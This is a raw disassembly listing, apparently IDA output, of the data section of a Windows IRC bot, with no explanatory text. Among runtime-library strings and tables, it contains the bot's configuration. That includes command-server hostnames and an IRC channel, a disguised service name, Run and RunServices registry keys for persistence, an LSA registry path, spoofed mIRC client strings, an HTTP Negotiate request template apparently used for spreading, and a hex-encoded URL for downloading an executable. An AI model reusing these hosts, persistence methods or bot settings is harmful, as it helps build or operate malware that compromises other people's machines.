loc_426E68: ; DATA XREF: sub_426618o
mov eax, offset dword_4280E8
jmp loc_41C91F
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D4A9
; ---------------------------------------------------------------------------
loc_426E7A: ; DATA XREF: sub_42669Ao
mov eax, offset dword_428148
jmp loc_41C91F
; ---------------------------------------------------------------------------
dd 5Fh dup(0)
dd 25F0000h, 2600000h, 2610000h, 26105CBh, 2620000h, 26209B1h
dd 2620A01h, 2620E35h, 2630000h, 2640000h, 26407F1h, 2640D64h
dd 2650000h, 26508D5h, 2650B6Dh
dword_42703C dd 2650B82h ; DATA XREF: ___:004231D9r
dd 2650BF9h, 2650E76h, 2650EBFh, 2660000h, 2670000h, 2680000h
dd 2690000h, 26903E1h, 26908FBh, 77E75CB5h
dword_427068 dd 2690934h ; DATA XREF: sub_40111D+B8r
; ___:004014FCr ...
dd 2690C14h, 26A0000h, 26A0B90h
dword_427078 dd 26A0F44h ; DATA XREF: sub_40111D+29r
; sub_401ACD+318Cr ...
dword_42707C dd 26B0000h ; DATA XREF: ___:004015E2r
; sub_410CD6+32r
dd 26B017Ah
dword_427084 dd 26B0259h ; DATA XREF: sub_4196BD+B9r
dd 26B07F5h
dword_42708C dd 26B0857h ; DATA XREF: sub_410FF9:loc_41108Ar
dword_427090 dd 26B08F9h ; DATA XREF: ___:loc_4013DCr
dd 26B0C16h, 26B0D2Fh
dword_42709C dd 26B0E4Bh ; DATA XREF: sub_409B13+2r
dd 26C0000h, 26C00C0h
dword_4270A8 dd 26C066Dh ; DATA XREF: ___:0040124Dr
; sub_41A4D2+8Cr
dword_4270AC dd 26C06DDh ; DATA XREF: sub_410CD6:loc_410DC2r
dd 26D0000h, 26D0C79h
dword_4270B8 dd 26E0000h ; DATA XREF: sub_409B13:loc_40A021r
dword_4270BC dd 26E0353h ; DATA XREF: sub_409B13+11r
; sub_416F1B+60r ...
dd 26F0000h, 2700000h, 270055Dh, 2710000h, 77F7E300h, 77F7E21Fh
dd 27105B2h, 2710726h, 2720000h, 27208D0h
dword_4270E8 dd 2730000h ; DATA XREF: sub_410FF9+Br
dword_4270EC dd 27308C8h ; DATA XREF: sub_418294+36r
dd 2730B4Dh, 2740000h
dword_4270F8 dd 27404D4h ; DATA XREF: sub_410F20+3Ar
; sub_419C65+79r
dword_4270FC dd 2750000h ; DATA XREF: sub_410E27+23r
; sub_419C65+3Br
dd 275151Ch, 2760000h, 2760A61h, 2770000h, 27707B3h, 2780000h
dd 2790000h, 27A0000h, 27A0C3Fh, 27A0EB1h, 27B0000h, 27B015Fh
dd 27B091Ah, 27C0000h, 27C04C9h
dword_42713C dd 27C0849h ; DATA XREF: sub_416F1B+BCr
dd 27D0000h
dword_427144 dd 27E0000h ; DATA XREF: sub_4170ED+21r
; sub_417276+4Ar
dword_427148 dd 27E0C3Ch ; DATA XREF: sub_4170ED+10r
; sub_417276+40r ...
dd 27E0CA8h
dword_427150 dd 27F0000h ; DATA XREF: sub_417276+56r
dd 27F02E4h, 2800000h, 2810000h, 281060Dh, 2820000h, 28203A8h
dd 28204D6h, 2830000h, 28306DCh, 2840000h
dword_42717C dd 2850000h ; DATA XREF: sub_418B59+13r
; ___:0042324Er ...
dword_427180 dd 2860000h ; DATA XREF: sub_418C2B+Fr
; sub_41D834+54r ...
dd 2870000h, 28703A4h, 287078Ch, 2870BADh, 2880000h, 2890000h
dd 28A0000h, 28B0000h, 28C0000h, 28D0000h, 28D1BDCh, 28D1C23h
dd 28E0000h, 28E0E9Dh, 28F0000h
dword_4271C0 dd 28F05D9h ; DATA XREF: sub_41DEA2+240r
dword_4271C4 dd 28F06FDh ; DATA XREF: sub_41E976:loc_41E9A7r
dd 28F08FEh, 2900000h, 2900782h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0ACh, 0B2h, 71h
align 10h
dd 71AB4122h
dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412661+1DEr
dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
dd 71AB1746h, 71AB3E5Dh
dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE3+6Ar
dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
dd 71AB157Eh, 0
dword_427238 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427638 dd 2Eh ; DATA XREF: sub_401ACD+347Do
; sub_401ACD+356Do ...
dword_42763C dd 2Eh ; DATA XREF: sub_401ACD+389Do
; sub_401ACD+38D3o ...
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21F+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_427680 dq 1.388888888888889e-2 ; DATA XREF: sub_40D031+2Fr
dbl_427688 dq 1.666666666666667e-1 ; DATA XREF: sub_40D031+15r
dword_427690 dd 0FFFFFFFFh ; DATA XREF: sub_40D07D+16Fr
; sub_40D4B1r ...
align 8
dbl_427698 dq 1.333333333333333 ; DATA XREF: sub_40D07D+79r
dword_4276A0 dd 0 ; DATA XREF: sub_40D21F+4Do
; sub_40D561+5Bo ...
flt_4276A4 dd 5.0e-1 ; DATA XREF: ___:0040DD34r
dbl_4276A8 dq 9.765625e-4 ; DATA XREF: ___:004166B7r
; ___:004166D2r ...
dbl_4276B0 dq -1.52587890625e-4 ; DATA XREF: sub_417ADE+3E5r
dbl_4276B8 dq 3.0517578125e-4 ; DATA XREF: sub_417ADE+3C5r
dbl_4276C0 dq -3.0517578125e-4 ; DATA XREF: sub_417ADE+342r
; sub_417ADE+3A7r
dbl_4276C8 dq 1.52587890625e-4 ; DATA XREF: sub_417ADE+271r
dbl_4276D0 dq -1.739501953125e-3 ; DATA XREF: sub_417ADE+24Br
; sub_417ADE+2D5r ...
dbl_4276D8 dq 3.11279296875e-3 ; DATA XREF: sub_417ADE+E1r
dbl_4276E0 dq 3.0517578125e-5 ; DATA XREF: sub_417ADE+AEr
; sub_417ADE+138r ...
dbl_4276E8 dq 6.103515625e-5 ; DATA XREF: sub_417ADE+93r
; sub_417ADE+308r
dbl_4276F0 dq 2.288818359375e-3 ; DATA XREF: sub_417ADE+21r
dbl_4276F8 dq -3.0517578125e-5 ; DATA XREF: sub_418685+2Br
flt_427700 dd 9.765625e-4 ; DATA XREF: sub_41A4D2+1B0r
flt_427704 dd 8.0 ; DATA XREF: sub_41A4D2+1AAr
flt_427708 dd 0.0 ; DATA XREF: sub_41A4D2+171r
flt_42770C dd 1.0e-3 ; DATA XREF: sub_41A4D2+168r
dbl_427710 dq 1.0 ; DATA XREF: sub_41C679+6Cr
; sub_41C7BF+6Cr ...
dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
align 4
byte_427754 db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ___:off_43CBF4o
unicode 0, <(null)>,0
align 10h
aNull_0 db '(null)',0 ; DATA XREF: ___:off_43CBF0o
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: ___:off_43CE6Co
dbl_427878 dq 0.0 ; DATA XREF: sub_42135F+8Cr
; sub_42135F+ACr ...
dbl_427880 dq 4.195835e6 ; DATA XREF: sub_421874+Fr
dbl_427888 dq 3.145727e6 ; DATA XREF: sub_421874+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o
align 4
aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o
align 10h
dword_4278C0 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o
dword_4278D0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o
dd offset loc_42224A
align 10h
dd offset sub_422228
dd offset sub_422232
dword_4278E8 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o
dword_4278F8 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o
dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o
dd offset loc_4225AD
align 8
dd offset loc_422599
dd offset loc_42259D
dword_427920 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o
dd offset loc_422603
align 10h
dd offset loc_4225EF
dd offset loc_4225F3
dword_427938 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o
; sub_423CEC+39o ...
dword_427940 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
; DATA XREF: sub_422ACA+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D03Co
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
align 4
asc_427C08 db 0Ah ; DATA XREF: sub_4235C9+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0 ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
align 8
dword_427C48 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o
align 10h
a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo
align 4
dword_427CE8 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
; DATA XREF: sub_425F03+5o
dd 427E24h
off_427D04 dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o
; sub_4264FE+2Co ...
dd offset sub_4264D5
dd offset sub_4266F6
dd offset dword_427E70
off_427D14 dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao
; sub_426568o ...
dd offset sub_4264D5
dd offset loc_426732
dword_427D20 dd 0 ; DATA XREF: sub_4264FE+16o
; sub_4265D0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o
dd offset dword_427EBC
off_427D40 dd offset sub_42665B ; DATA XREF: sub_426677o
; sub_42669A+37o ...
dd offset sub_4264D5
dd offset loc_426714
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o
dd offset dword_427F00
off_427D60 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o
; ___:off_43D764o ...
dd offset dword_427F30
off_427D68 dd offset loc_426813 ; DATA XREF: sub_42682F+8o
; sub_42686C+8o ...
dd offset sub_4268CC
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
align 8
dword_427D88 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo
dd 3, 19930520h, 2 dup(0)
dword_427DA8 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
; DATA XREF: sub_426988+5o
dword_427DC0 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
; DATA XREF: sub_426C13+5o
dd 43D764h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427DF0 dd offset off_43D77C ; DATA XREF: ___:00427E08o
; ___:00427E54o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DF0
dd offset dword_427DC0+18h
dword_427E10 dd 3 dup(0) ; DATA XREF: ___:00427E34o
dd 2, 427E08h, 3 dup(0)
dd offset off_43D77C
dd offset dword_427E10+4
off_427E38 dd offset off_43D79C ; DATA XREF: ___:00427E50o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E38
dd offset off_427DF0
dd offset dword_427DC0+18h
dword_427E5C dd 3 dup(0) ; DATA XREF: ___:00427E80o
dd 3, 427E50h
dword_427E70 dd 3 dup(0) ; DATA XREF: ___:00427D10o
dd offset off_43D79C
dd offset dword_427E5C+4
off_427E84 dd offset off_43D7BC ; DATA XREF: ___:00427E9Co
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E84
dd offset off_427DF0
dd offset dword_427DC0+18h
dword_427EA8 dd 3 dup(0) ; DATA XREF: ___:00427ECCo
dd 3, 427E9Ch
dword_427EBC dd 3 dup(0) ; DATA XREF: ___:00427D3Co
dd offset off_43D7BC
dd offset dword_427EA8+4
off_427ED0 dd offset off_43D7E0 ; DATA XREF: ___:00427EE8o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427ED0
dword_427EEC dd 3 dup(0) ; DATA XREF: ___:00427F10o
dd 1, 427EE8h
dword_427F00 dd 3 dup(0) ; DATA XREF: ___:00427D5Co
dd offset off_43D7E0
dd offset dword_427EEC+4
dd offset dword_427DC0+18h
dword_427F18 dd 4 dup(0) ; DATA XREF: ___:00427F40o
dd 1, 427F14h
dword_427F30 dd 3 dup(0) ; DATA XREF: ___:00427D64o
dd offset off_43D764
dd offset dword_427F18+8
align 8
dword_427F48 dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o
dd 0FFFFFFFFh, 426DE0h, 0
dd offset sub_426DD8
dword_427F78 dd 19930520h, 2, 427F98h, 5 dup(0) ; DATA XREF: ___:loc_426E14o
dd 0FFFFFFFFh, 426E04h, 0
dd offset loc_426E0C
dword_427FA8 dd 19930520h, 2, 427FC8h, 1, 427FD8h, 3 dup(0) ; DATA XREF: ___:loc_426E20o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 427FF0h, 4 dup(0)
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0D7h, 40h, 0
dd 0FFFFFFFFh, 426E2Ah
dword_428008 dd 19930520h, 1, 428000h, 5 dup(0) ; DATA XREF: ___:loc_426E32o
dd offset off_43D764
align 10h
dd 0FFFFFFFFh, 0
dd 0Ch, 42686Ch, 0
dd offset off_43D77C
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426618h, 0
dd offset off_43D79C
align 8
dd 0FFFFFFFFh, 0
dword_428070 dd 1Ch, 426682h, 3, 42805Ch, 428040h, 428024h ; DATA XREF: ___:00428094o
dword_428088 dd 0 ; DATA XREF: sub_426573+2Eo
; sub_4266F6+4Bo
dd offset sub_426568
dd 0
dd offset dword_428070+8
dd 0FFFFFFFFh, 426E3Ch
dword_4280A0 dd 19930520h, 1, 428098h, 4 dup(0) ; DATA XREF: ___:loc_426E44o
dd 0FFFFFFFFh, 426E4Eh
dword_4280C4 dd 19930520h, 1, 4280BCh, 4 dup(0) ; DATA XREF: ___:loc_426E56o
dd 0FFFFFFFFh, 426E60h
dword_4280E8 dd 19930520h, 1, 4280E0h, 5 dup(0) ; DATA XREF: ___:loc_426E68o
dd offset off_43D7BC
align 10h
dd 0FFFFFFFFh, 0
dword_428118 dd 1Ch, 4266DEh, 3, 428104h, 428040h, 428024h ; DATA XREF: ___:0042813Co
dword_428130 dd 0 ; DATA XREF: sub_42669A+2Eo
; sub_4266F6+2Do
dd offset sub_426677
dd 0
dd offset dword_428118+8
dd 0FFFFFFFFh, 426E72h
dword_428148 dd 19930520h, 1, 428140h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao
dword_428164 dd 2, 428040h, 428024h ; DATA XREF: ___:0042817Co
dword_428170 dd 0 ; DATA XREF: sub_4266F6+Fo
dd offset sub_4264BA
dd 0
dd offset dword_428164
dd 5 dup(15FB5C62h), 5 dup(6C26C6D9h), 5 dup(86B3410h)
dd 7Ah dup(0)
dd 86B3410h, 0
dd 15FB5C62h, 15h dup(0)
dd 6C26C6D9h, 2FEh dup(0)
dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o
dd offset loc_401205
dd offset sub_40D879
dd offset sub_40D89B
dd offset dword_40E504+1D0h
dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo
dword_429018 dd 0 ; DATA XREF: ___:0041B794o
dd offset sub_41D052
dd offset sub_42026D
dd offset sub_423936
dd offset word_424752
dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo
dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o
dd offset sub_4239DB
dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o
dd offset byte_424763
dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050 dd 80000002h, 429178h, 80000002h, 4291A8h, 80000001h, 429178h
; DATA XREF: sub_401000+7o
dword_429068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r
; ___:0040175Ar
dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r
dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Cr
dword_429078 dd 45h ; DATA XREF: sub_401ACD+2089r
; sub_40BACE+3Br
dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C44r
; sub_40BACE:loc_40BEBFr
dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DD0r
word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Fr
align 4
dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr
dword_42908C dd 1 ; DATA XREF: ___:0040135Er
dword_429090 dd 1 ; DATA XREF: ___:loc_401562r
; sub_41835A+Cr
byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r
; sub_401ACD+B4Cr ...
align 4
dword_429098 dd 0Ah ; DATA XREF: sub_40ACB6+3Ar
; sub_40ACB6+60r ...
dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r
; sub_401ACD+279r ...
dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r
; sub_401ACD+273r
aScorservs db 'scorservs',0 ; DATA XREF: ___:0040127Eo
; sub_401ACD:loc_4044A1o ...
align 10h
aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404946o
align 4
aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDCo
; sub_401ACD+7EABo
align 4
aSaber4_ircqfor db 'saber4.ircqforum.com',0 ; DATA XREF: ___:004016B1o
; ___:0040174Bo
align 4
aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o
; ___:00401761o ...
align 4
aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o
; ___:00401773o
align 4
byte_4290EC db 73h ; DATA XREF: ___:loc_401789r
; ___:00401797o
aCorti1_dns2go_ db 'corti1.dns2go.com',0
align 10h
aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo
align 4
aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo
align 10h
byte_429110 db 77h ; DATA XREF: ___:00401364o
; ___:00401388w ...
db 69h, 6Eh, 64h
dd 76726573h, 78652E63h, 65h
dword_429120 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C51o
aWindowsSercesA db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 10h
aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F27o
align 4
aF db '#f',0 ; DATA XREF: sub_401ACD+1D46o
; sub_401ACD+3040o ...
align 4
aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A3o
align 10h
aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C5o
; sub_401ACD+4217o
align 4
off_429164 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FCo
; "*@admin.com"
off_429168 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
; sub_401ACD+7E4Bo
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 10h
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E7A+28o
; sub_41A19E+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E7A+D4o
; sub_41A19E+D4o
align 10h
dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h
dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
dd 652E6D79h, 6578h, 429940h, 429930h, 429920h, 429914h
dd 42990Ch, 429904h, 4298FCh, 4298F4h, 4298E8h, 4298E0h
dd 4298D8h, 4298D0h, 4298C4h, 4298BCh, 4298B4h, 4298A8h
dd 4298A4h, 42989Ch, 429898h, 0
dd offset dword_43D808
